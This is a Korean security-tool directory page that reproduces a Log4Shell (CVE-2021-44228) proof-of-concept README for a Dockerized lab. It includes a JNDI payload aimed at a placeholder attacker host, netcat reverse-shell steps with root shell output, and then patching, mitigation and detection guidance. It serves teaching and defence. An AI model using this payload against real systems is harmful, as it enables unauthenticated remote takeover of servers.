Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4shell — Log4Shell (CVE-2021-44228) PoC | Kitploit
도구/GitHubGitHub/arabindadora/log4shell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolLabs & Practice
GitHubarabindadora/log4shell

log4shell

Log4Shell (CVE-2021-44228) PoC

저장소 보기
211개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Log4Shell (CVE-2021-44228) PoC

목표

Docker화된 환경에서 알려진 중요 CVE를 재현, 악용 및 수정합니다.

이 PoC는 Spring Boot 애플리케이션에서 CVE-2021-44228 (Log4Shell)을 시연합니다.

1. 취약점 설명

CVE: 2021-44228

CVSS: 10.0 (심각)

영향받는 구성 요소: Apache Log4j (<= 2.14.1)

패키지 작동 방식

  • Log4j는 널리 사용되는 Java 로깅 라이브러리입니다.
  • 로그 메시지 내에서 값을 동적으로 확인하기 위해 lookups (${...})을 지원합니다.
  • 이러한 조회 중 하나는 JNDI로, LDAP를 통해 값을 가져올 수 있습니다.

취약점 작동 방식

  • 공격자는 ${jndi:ldap://attacker.com:1389/a}와 같은 악의적인 JNDI 조회 문자열로 피해자 애플리케이션을 오염시킵니다.
  • 취약한 Log4j 버전을 사용하는 피해자 애플리케이션은 로깅 중에 악성 문자열을 평가합니다.
  • 이로 인해 공격자가 제어하는 LDAP 서버로 JNDI 요청이 트리거됩니다.
  • LDAP 서버는 외부 Java 바이트코드에 대한 악의적인 참조로 응답합니다.
  • 피해자 JVM이 바이트코드를 로드하고 실행하여 원격 코드 실행 (RCE) 로 이어집니다.

익스플로잇 작동 방식

  1. 피해자 앱이 HTTP 헤더에서 공격자가 제공한 입력을 로깅합니다.
  2. 공격자의 LDAP 서버가 Exploit.class에 대한 참조로 응답합니다.
  3. 피해자가 HTTP를 통해 Exploit.class를 가져옵니다.
  4. Exploit의 정적 초기화자가 실행되어 공격자에게 역방향 셸을 생성합니다.

2. 위험

  • 영향: 인증되지 않은 RCE - 가장 높은 심각도.
  • 위험에 처한 대상:
    • Log4j <= 2.14.1을 사용하는 모든 Java 애플리케이션.
    • 사용자 제어 입력(예: HTTP 헤더)을 로깅하는 인터넷 연결 및 내부 서비스.
  • 결과:
    • 시스템 손상 (셸 액세스).
    • 데이터 유출.
    • 내부 네트워크로 피벗.
    • 경계 방어 우회 (내부 서비스를 통한 공격).

3. 개념 증명

사전 요구 사항

  1. docker + docker-compose
  2. netcat
  3. make

빌드 및 시작

root@kitploit:~
make build start

익스플로잇

  1. netcat 리스너 시작:
root@kitploit:~
nc -l 4444
  1. 익스플로잇 트리거:
root@kitploit:~
make exploit
  1. Netcat이 피해자로부터 역방향 셸을 수신:
root@kitploit:~
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...

4. 수정

권장 수정

  • Log4j 2.17.1 이상으로 업그레이드.
  • 이것이 유일한 완전하고 장기적인 수정입니다. 이전 버전은 부분적으로 패치되었지만 여전히 노출이 남아 있습니다.
    • CVE-2021-45046: 기본 로깅 구성이 아닌 경우 RCE
    • CVE-2021-45105: 자체 참조 조회를 통한 DoS
    • CVE-2021-44832: 특정 JDBC 어펜더 구성을 통한 RCE
root@kitploit:~
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell

임시 완화 조치 (업그레이드가 불가능한 경우)

  1. 시간 벌기
  • WAF 또는 미들웨어로 인바운드 익스플로잇 문자열(${jndi: 패턴)을 제한합니다.
  • 이그레스 필터링으로 애플리케이션 서버의 아웃바운드 LDAP를 제한합니다.
  1. 조회 비활성화:
root@kitploit:~
-Dlog4j2.formatMsgNoLookups=true
  1. JVM 강화:
root@kitploit:~
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

운영 완화 조치

  1. 종속성 및 런타임 감사
  • SBOM 생성 (gradle dependencies, Snyk, Wiz 등).
  • 배포된 이미지/서버에서 fat JAR을 포함한 log4j-core-*.jar 검색.
  • 가장 위험한 워크로드에 대한 완화 조치를 분류하고 우선 순위 지정.
  1. 모니터링 및 탐지
  • 로그에서 익스플로잇 시도(${jndi:...}, ${${lower:j}ndi:...} 등) 감시.
  • 콜백에 대한 아웃바운드 LDAP 트래픽 모니터링.
  • 발견 사항을 잠재적 침해로 처리하고 사고 대응(포렌식 조사, 악성 아티팩트 제거, 비밀 교체 등)으로 에스컬레이션.
  1. 벤더 패치
  • 벤더 권고사항(예: Elasticsearch) 추적 - 많은 제품이 번들 Log4j를 포함.
  • 공식 패치가 제공될 때까지 제공된 핫픽스 또는 해결 방법 적용.
  1. 전략적 개선
  • 아웃바운드 트래픽 필터링에 "기본적으로 거부" 정책 적용.
  • CI/CD에서 종속성 스캔 적용.
  • 팀이 다음 "10.0 CVSS" 취약점 발생 시 정확히 무엇을 해야 하는지 알 수 있도록 대응 플레이북 공식화.
  • "새로운 Log4Shell급" 사고에 대한 대비를 테스트하기 위해 복원력 드릴/테이블탑 실행.

5. 참고자료

  • Apache 보안 권고
도구 다운로드